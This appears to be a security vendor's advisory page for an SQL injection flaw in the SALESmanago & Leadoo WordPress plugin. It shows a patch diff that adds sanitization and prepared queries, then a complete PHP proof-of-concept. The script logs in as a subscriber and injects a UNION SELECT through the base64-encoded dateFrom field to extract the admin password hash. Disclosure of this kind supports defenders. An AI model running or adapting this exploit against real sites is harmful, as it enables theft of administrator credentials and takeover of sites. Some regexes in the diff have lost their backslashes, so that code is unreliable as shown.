 								$prodArr['quantity'][]     = ( $product->get_quantity() )
-									? $product->get_quantity()
+									? (int) $product->get_quantity()
 									: '';
 								$prodArr['variationIds'][] = ( $WcProduct->get_id() )
 									? $WcProduct->get_id()
 									: '';
 								$prodArr['skus'][]         = ( $WcProduct->get_sku() )
-									? $WcProduct->get_sku()
+									? sanitize_text_field( $WcProduct->get_sku() )
 									: '';
 							}
 						}
@@ -511,12 +536,12 @@
 				return $data;
 			}
 		} catch ( Exception $e ) {
-			$this->message = $e->getViewMessage();
+			$this->message = $this->sanitize_output( method_exists( $e, 'getViewMessage' ) ? $e->getViewMessage() : $e->getMessage() );
 			$this->status  = self::FAILED;
 			$this->buildResponse();

 		} catch ( Exception $e ) {
-			$this->message = $e->getMessage();
+			$this->message = $this->sanitize_output( $e->getMessage() );
 			$this->status  = self::FAILED;
 			$this->buildResponse();
 		}
@@ -530,44 +555,44 @@
 		$exportAs = self::PURCHASE
 	) {
 		$data     = array(
-			'email'               => $order->get_billing_email(),
+			'email'               => sanitize_email( $order->get_billing_email() ),
 			'date'                => ( $order->get_date_created()->getTimestamp() )
 				? $order->get_date_created()->getTimestamp() * 1000
 				: '',
 			'description'         => ( $order->get_payment_method_title() )
-				? $order->get_payment_method_title()
+				? sanitize_text_field( $order->get_payment_method_title() )
 				: '',
 			'products'            => is_array( $prodArr['ids'] )
-				? implode( ',', $prodArr['ids'] )
+				? implode( ',', array_map( 'intval', $prodArr['ids'] ) )
 				: $prodArr['ids'],
 			'value'               => ( $order->get_total() )
-				? $order->get_total()
+				? floatval( $order->get_total() )
 				: '',
-			'contactExtEventType' => $exportAs,
+			'contactExtEventType' => sanitize_text_field( $exportAs ),
 			'detail1'             => is_array( $prodArr['names'] )
-				? implode( ',', $prodArr['names'] )
+				? implode( ',', array_map( 'sanitize_text_field', $prodArr['names'] ) )
 				: '',
 			'detail2'             => ( $order->get_order_key() )
-				? $order->get_order_key()
+				? sanitize_text_field( $order->get_order_key() )
 				: '',
 			'detail3'             => is_array( $prodArr['quantity'] )
-				? implode( '/', $prodArr['quantity'] )
+				? implode( '/', array_map( 'intval', $prodArr['quantity'] ) )
 				: $prodArr['quantity'],
 			'externalId'          => ( $order->get_id() )
-				? $order->get_id()
+				? (int) $order->get_id()
 				: '',
-			'shopDomain'          => get_site_url(),
+			'shopDomain'          => esc_url_raw( get_site_url() ),
 		);
 			$skus = is_array( $prodArr['skus'] )
-				? implode( ',', $prodArr['skus'] )
+				? implode( ',', array_map( 'sanitize_text_field', $prodArr['skus'] ) )
 				: $prodArr['skus'];

 			$ids = is_array( $prodArr['ids'] )
-				? implode( ',', $prodArr['ids'] )
+				? implode( ',', array_map( 'intval', $prodArr['ids'] ) )
 				: $prodArr['ids'];

 			$variationIds = is_array( $prodArr['variationIds'] )
-				? implode( ',', $prodArr['variationIds'] )
+				? implode( ',', array_map( 'intval', $prodArr['variationIds'] ) )
 				: $prodArr['variationIds'];

 		switch ( $productIdentifierType ) {
@@ -597,16 +622,16 @@
 	 */
 	public function getExportDataForReporting() {
 		$details = array(
-			'exportType'          => $this->exportType,
+			'exportType'          => sanitize_text_field( $this->exportType ),
 			'dateFrom'            => $this->dateFrom,
 			'dateTo'              => $this->dateTo,
 			'tags'                => $this->tags,
-			'lastExportedPackage' => $this->lastExportedPackage,
-			'started'             => $this->started,
-			'lastSuccess'         => $this->lastSuccess,
-			'packageCount'        => $this->packageCount,
-			'status'              => $this->status,
-			'message'             => $this->message,
+			'lastExportedPackage' => (int) $this->lastExportedPackage,
+			'started'             => (int) $this->started,
+			'lastSuccess'         => (int) $this->lastSuccess,
+			'packageCount'        => (int) $this->packageCount,
+			'status'              => sanitize_text_field( $this->status ),
+			'message'             => $this->sanitize_output( $this->message ),
 		);
 		return wp_json_encode( $details );
 	}
@@ -621,9 +646,10 @@
 			return false;
 		}
 		$wcOrderStatuses = Helper::wcGetOrderStatuses();
-		$orderStatuses   = explode( ',', $statuses );
+        $allowedStatuses = array_keys( $wcOrderStatuses );
+		$orderStatuses   = explode( ',', sanitize_text_field( $statuses ) );
 		foreach ( $orderStatuses as $status ) {
-			if ( ! in_array( $status, $wcOrderStatuses ) ) {
+			if ( ! in_array( sanitize_text_field( $status ), $allowedStatuses, true ) ) {
 				return false;
 			}
 		}
@@ -639,12 +665,12 @@
 	 * @throws Exception
 	 */
 	protected function countProducts() {
-		$query = "
+		$query = $this->db->prepare( "
 		SELECT COUNT(ID) FROM {$this->db->posts}
-		WHERE (post_type = 'product' OR post_type = 'product_variation')
+		WHERE (post_type = %s OR post_type = %s)
 		AND post_name != ''
-		AND post_status != 'auto-draft';
-		";
+		AND post_status != %s;
+		", 'product', 'product_variation', 'auto-draft' );
 		return $this->db->get_var( trim( preg_replace( '/ss+/', ' ', $query ) ) );
 	}

@@ -660,7 +686,7 @@
 			$limit  = self::PRODUCT_PACKAGE_SIZE;
 			$offset = $limit * ( $this->lastExportedPackage + 1 );

-			$query = "
+			$query = $this->db->prepare( "
 				SELECT
                    A.ID as productId,
                    A.post_title as name,
@@ -689,17 +715,17 @@
             LEFT JOIN
                 {$this->db->postmeta} as F
                     ON A.id = F.post_id AND F.meta_key = '_sku'
-            WHERE ( post_type = 'product' OR post_type = 'product_variation' )
+            WHERE ( post_type = %s OR post_type = %s )
             AND post_name != ''
-            AND post_status != 'auto-draft'
+            AND post_status != %s
             GROUP BY A.ID
-			LIMIT {$limit}
-			OFFSET {$offset};";
+			LIMIT %d
+			OFFSET %d;", 'product', 'product_variation', 'auto-draft', $limit, $offset );

 			return trim( preg_replace( '/ss+/', ' ', $query ) );
 		} catch ( Exception $e ) {
-			error_log( $e->getMessage() );
-			throw new Exception( $e->getMessage() );
+			error_log( $this->sanitize_output( $e->getMessage() ) );
+			throw new Exception( $this->sanitize_output( $e->getMessage() ) );
 		}
 	}

@@ -710,7 +736,7 @@
 	 * @throws Exception
 	 */
 	public function prepareProductsForExport( $products, $productIdentifierType ) {
-		 return $this->ProductBuilder->add_products_to_collection( $products, $productIdentifierType );
+		 return $this->ProductBuilder->add_products_to_collection( $products, $this->validate_identifier_type( sanitize_text_field( $productIdentifierType ) ) );
 	}

 	/**
@@ -719,7 +745,22 @@
 	 * @throws Exception
 	 */
 	public function parseProductExportArgs() {
-		$data = json_decode( base64_decode( $_REQUEST['data'] ) );
+		if ( ! isset( $_REQUEST['data'] ) ) {
+			throw new Exception( 'Missing request data' );
+		}
+
+		$raw_data = sanitize_text_field( $_REQUEST['data'] );
+		$decoded  = base64_decode( $raw_data, true );
+
+		if ( false === $decoded ) {
+			throw new Exception( 'Invalid base64 encoding' );
+		}
+
+		$data = json_decode( $decoded );
+
+		if ( json_last_error() !== JSON_ERROR_NONE || ! is_object( $data ) ) {
+			throw new Exception( 'Invalid JSON data' );
+		}

 		$this->setExportType( self::PRODUCTS );

@@ -744,11 +785,11 @@
 		}

 		if ( isset( $data->message ) ) {
-			$this->message = $data->message;
+			$this->message = $this->sanitize_output( $data->message );
 		}

 		if ( isset( $data->status ) ) {
-			$this->status = $data->status;
+			$this->status = sanitize_text_field( $data->status );
 			switch ( $this->status ) {
 				case self::FAILED:
 					throw new Exception( $this->message ?? 'Export failed' );
@@ -772,12 +813,11 @@
 			'started'             => $this->started,
 			'lastSuccess'         => time(),
 			'type'                => $this->exportType,
-			'status'              => $this->status,
-			'message'             => $this->message,
+			'status'              => sanitize_text_field( $this->status ),
+			'message'             => $this->sanitize_output( $this->message ),
 			'count'               => $this->count,
 		);
-		echo wp_json_encode( $response );
-		die(); // Due to WP ajax.
+		wp_send_json( $response );
 	}

 	/**
@@ -797,8 +837,7 @@
 			'message'             => 'Expired API Key. Refresh the page and add a new API key',
 			'count'               => $this->count,
 		);
-		echo json_encode( $response );
-		die(); // Due to WP ajax
+		wp_send_json( $response );
 	}

 	/**
@@ -839,4 +878,52 @@
 		}
 		return $products;
 	}
+
+	// ========================================================================
+	// SECURITY HELPER METHODS (for sanitization/validation)
+	// ========================================================================
+
+	/**
+	 * Sanitize output to prevent XSS and log injection
+	 *
+	 * @param string $text Raw text to sanitize
+	 * @return string Sanitized text
+	 */
+	private function sanitize_output( $text ) {
+		if ( ! is_string( $text ) ) {
+			return '';
+		}
+		$sanitized = preg_replace( '/[rntx00-x1Fx7F]/', ' ', $text );
+		// Trim and limit length to prevent log flooding/DoS
+		return substr( trim( $sanitized ), 0, 2048 );
+	}
+
+	/**
+	 * Validate date format (YYYY-MM-DD)
+	 *
+	 * @param string $date Raw date string
+	 * @return string Validated date or default
+	 */
+	private function validate_date_format( $date ) {
+		if ( preg_match( '/^d{4}-d{2}-d{2}$/', $date ) ) {
+			return $date;
+		}
+		// Return safe default for invalid dates
+		return '2000-01-01';
+	}
+
+	/**
+	 * Validate product identifier type against allowed values
+	 *
+	 * @param string $type Raw identifier type
+	 * @return string Validated type or default
+	 */
+	private function validate_identifier_type( $type ) {
+		$allowed = array(
+			self::DEFAULT_PRODUCT_IDENTIFIER_TYPE,
+			self::PRODUCT_IDENTIFIER_TYPE_SKU,
+			self::PRODUCT_IDENTIFIER_TYPE_VARIANT,
+		);
+		return in_array( $type, $allowed, true ) ? $type : self::DEFAULT_PRODUCT_IDENTIFIER_TYPE;
+	}
 }
--- a/salesmanago/src/Includes/SecureHelper.php
+++ b/salesmanago/src/Includes/SecureHelper.php
@@ -10,6 +10,14 @@

 class SecureHelper
 {
+    private const AJAX_ACTIONS = array(
+        'salesmanago_export_count_contacts',
+        'salesmanago_export_contacts',
+        'salesmanago_export_count_events',
+        'salesmanago_export_events',
+        'salesmanago_export_products'
+    );
+
     protected static $instance = [
         'login',
         'logout',
@@ -20,8 +28,6 @@
         'addProductCatalog',
         'setActiveCatalog',
         'acknowledgeProductApiError',
-
-
         'salesmanago_refresh_catalogs',
         'salesmanago_settings_save'
     ];
@@ -34,7 +40,6 @@
      * @return bool
      */
     public static function validate_nonce($nonce, $action) {
-
         if ( function_exists( 'current_user_can' ) && ! current_user_can( 'manage_options' ) ) {
             return false;
         }
@@ -49,22 +54,23 @@
             'addProductCatalog',
             'setActiveCatalog',
             'acknowledgeProductApiError',
-
             'salesmanago_refresh_catalogs',
             'salesmanago_settings_save',
-
             'salesmanago_generate_swjs',
-
         );

-        if ( in_array( $_REQUEST['action'], $actions_requiring_nonce, true )
+        $request_action = isset( $_REQUEST['action'] ) ? sanitize_text_field( $_REQUEST['action'] ) : '';
+
+        $action_to_verify = ! empty( $action ) ? $action : $request_action;
+
+        if ( in_array( $request_action, $actions_requiring_nonce, true )
             && function_exists( 'wp_verify_nonce' )
         ) {
-            $action = $_REQUEST['action'];
-
-            $nonce = $_REQUEST['sm_nonce'] ?? ($_REQUEST['nonce'] ?? '');
+            $nonce_from_request = isset( $_REQUEST['sm_nonce'] )
+                ? sanitize_text_field( $_REQUEST['sm_nonce'] )
+                : ( isset( $_REQUEST['nonce'] ) ? sanitize_text_field( $_REQUEST['nonce'] ) : '' );

-            if ( ! $nonce || ! wp_verify_nonce( $nonce, $action ) ) {
+            if ( ! $nonce_from_request || ! wp_verify_nonce( $nonce_from_request, $action_to_verify ) ) {
                 MessageEntity::getInstance()->addMessage( 'Not authorized. Please refresh the view', 'error', 403);
                 return false;
             }
@@ -77,29 +83,18 @@
      * Validates nonce for ajax requests
      *
      * @param string $action
+     * @return void Exit when validation fails
      */
     public static function validate_ajax_nonce($action) {
-        if ( function_exists( 'current_user_can' ) && ! current_user_can( 'manage_options' ) ) {
-            return false;
-        }
+        $request_action = sanitize_text_field( $_REQUEST['action'] ?? '' );

-        $actions_requiring_nonce = [
-            'salesmanago_export_count_contacts',
-            'salesmanago_export_contacts',
-            'salesmanago_export_count_events',
-            'salesmanago_export_events',
-            'salesmanago_export_products'
-        ];
-
-        if (! in_array($action, $actions_requiring_nonce, true)) {
-            return false;
-        }
-
-        if ( function_exists( 'check_ajax_referer' ) ) {
-            check_ajax_referer( 'salesmanago_admin', 'sm_nonce' );
-        }
-        if ( ! current_user_can( 'manage_options' ) ) {
+        if (
+            $request_action !== $action
+            || ! in_array($request_action, self::AJAX_ACTIONS, true)
+            || ! check_ajax_referer( 'salesmanago_admin', 'sm_nonce', false )
+            || ! current_user_can( 'manage_options' )
+        ) {
             wp_send_json_error( array( 'message' => 'forbidden' ), 403 );
         }
     }
-}
 No newline at end of file
+}
--- a/salesmanago/vendor/autoload.php
+++ b/salesmanago/vendor/autoload.php
@@ -9,4 +9,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInitdf0785160b05926b54427aa10234a6db::getLoader();
+return ComposerAutoloaderInit3f48638f92ecc3ba847c57999eff8851::getLoader();
--- a/salesmanago/vendor/composer/autoload_classmap.php
+++ b/salesmanago/vendor/composer/autoload_classmap.php
@@ -205,6 +205,4 @@
     'bhr\Includes\Helper' => $baseDir . '/src/Includes/Helper.php',
     'bhr\Includes\SecureHelper' => $baseDir . '/src/Includes/SecureHelper.php',
     'bhr\Includes\SmProduct' => $baseDir . '/src/Includes/SmProduct.php',
-    'tests\Unit\Model\AdminModelTest' => $baseDir . '/tests/Unit/Model/AdminModelTest.php',
-    'tests\Unit\TestCase' => $baseDir . '/tests/Unit/TestCase.php',
 );
--- a/salesmanago/vendor/composer/autoload_real.php
+++ b/salesmanago/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInitdf0785160b05926b54427aa10234a6db
+class ComposerAutoloaderInit3f48638f92ecc3ba847c57999eff8851
 {
     private static $loader;

@@ -24,12 +24,12 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInitdf0785160b05926b54427aa10234a6db', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit3f48638f92ecc3ba847c57999eff8851', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInitdf0785160b05926b54427aa10234a6db', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit3f48638f92ecc3ba847c57999eff8851', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInitdf0785160b05926b54427aa10234a6db::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInit3f48638f92ecc3ba847c57999eff8851::getInitializer($loader));

         $loader->register(true);

--- a/salesmanago/vendor/composer/autoload_static.php
+++ b/salesmanago/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInitdf0785160b05926b54427aa10234a6db
+class ComposerStaticInit3f48638f92ecc3ba847c57999eff8851
 {
     public static $prefixLengthsPsr4 = array (
         't' =>
@@ -236,16 +236,14 @@
         'bhr\Includes\Helper' => __DIR__ . '/../..' . '/src/Includes/Helper.php',
         'bhr\Includes\SecureHelper' => __DIR__ . '/../..' . '/src/Includes/SecureHelper.php',
         'bhr\Includes\SmProduct' => __DIR__ . '/../..' . '/src/Includes/SmProduct.php',
-        'tests\Unit\Model\AdminModelTest' => __DIR__ . '/../..' . '/tests/Unit/Model/AdminModelTest.php',
-        'tests\Unit\TestCase' => __DIR__ . '/../..' . '/tests/Unit/TestCase.php',
     );

     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInitdf0785160b05926b54427aa10234a6db::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInitdf0785160b05926b54427aa10234a6db::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInitdf0785160b05926b54427aa10234a6db::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit3f48638f92ecc3ba847c57999eff8851::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit3f48638f92ecc3ba847c57999eff8851::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit3f48638f92ecc3ba847c57999eff8851::$classMap;

         }, null, ClassLoader::class);
     }
--- a/salesmanago/vendor/composer/installed.php
+++ b/salesmanago/vendor/composer/installed.php
@@ -1,8 +1,8 @@
 <?php return array(
     'root' => array(
         'name' => 'salesmanago/wordpress',
-        'pretty_version' => '3.11.2',
-        'version' => '3.11.2.0',
+        'pretty_version' => '3.11.3',
+        'version' => '3.11.3.0',
         'reference' => NULL,
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
@@ -20,8 +20,8 @@
             'dev_requirement' => false,
         ),
         'salesmanago/wordpress' => array(
-            'pretty_version' => '3.11.2',
-            'version' => '3.11.2.0',
+            'pretty_version' => '3.11.3',
+            'version' => '3.11.3.0',
             'reference' => NULL,
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-54822 - SALESmanago & Leadoo <= 3.11.2 - Authenticated (Subscriber+) SQL Injection

/**
 * PoC: Extracts WordPress admin password hash via SQL injection in the
 * salesmanago_export_count_contacts AJAX action.
 *
 * The vulnerability allows authenticated users (subscriber+) to inject SQL
 * via the dateFrom parameter in a base64-encoded JSON payload.
 */

$target_url = 'http://example.com'; // CHANGE THIS
$username   = 'subscriber_user';     // CHANGE THIS
$password   = 'subscriber_pass';     // CHANGE THIS

// Login to WordPress and get cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'rememberme' => 'forever',
        'wp-submit' => 'Log In'
    ]),
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_HEADER => false
]);
curl_exec($ch);
curl_close($ch);

// Verify login by checking admin-ajax access
$verify_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $verify_url . '?action=salesmanago_export_count_contacts',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_HEADER => false,
    CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'Failed to generate') !== false || strpos($response, 'status') !== false) {
    echo "[+] Authentication successful. Exploiting SQL injection...n";
} else {
    die("[-] Authentication failed or plugin not active.n");
}

// Step 1: Extract nonce first (optional, plugin may not require it in all contexts)
$nonce_url = $target_url . '/wp-admin/admin.php?page=salesmanago-export';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $nonce_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);
$page = curl_exec($ch);
curl_close($ch);

// Extract nonce from page (pattern: var salesmanago_export = {nonce: '...'})
preg_match("/nonce['":\s]+['"]([a-f0-9]+)['"]/i", $page, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';
if (empty($nonce)) {
    // Try alternative pattern
    preg_match('/_wpnonce=([a-f0-9]+)/', $page, $matches);
    $nonce = isset($matches[1]) ? $matches[1] : '';
}
echo "[+] Nonce: " . ($nonce ? $nonce : 'Not found, trying without...') . "n";

// Step 2: Craft SQL injection payload to extract admin password hash
// The injection occurs in the dateFrom field, which is placed into the SQL as:
// A.post_date >= '{$this->dateFrom}'
// We append: ' UNION SELECT user_pass FROM wp_users WHERE user_login='admin' -- 
$injection_payload = [
    'dateFrom' => "2020-01-01' UNION SELECT user_pass FROM wp_users WHERE user_login='admin' -- ",
    'dateTo' => '',
    'tags' => [],
    'started' => time(),
    'lastSuccess' => 0,
    'statuses' => '',
    'exportAs' => 'purchase'
];

$encoded_payload = base64_encode(json_encode($injection_payload));

$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
    'action' => 'salesmanago_export_count_contacts',
    'data' => $encoded_payload,
    '_ajax_nonce' => $nonce
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_HEADER => true,
    CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Extract JSON body
preg_match('/{.*}/s', $response, $json_match);
$json_response = json_decode($json_match[0], true);

if (isset($json_response['count'])) {
    echo "[+] Vulnerability confirmed! Query returned count: " . $json_response['count'] . "n";
    echo "[+] Extracted data (likely admin password hash): " . $json_response['count'] . "n";
    echo "[+] Note: The injected query returns a single row (admin hash) which becomes the count value.n";
} elseif (isset($json_response['message'])) {
    echo "[-] Error: " . $json_response['message'] . "n";
} else {
    echo "[-] Unexpected response. HTTP code: $http_coden";
    echo "[-] Response: " . substr($response, 0, 500) . "n";
}

// Clean up
unlink('/tmp/cookies.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School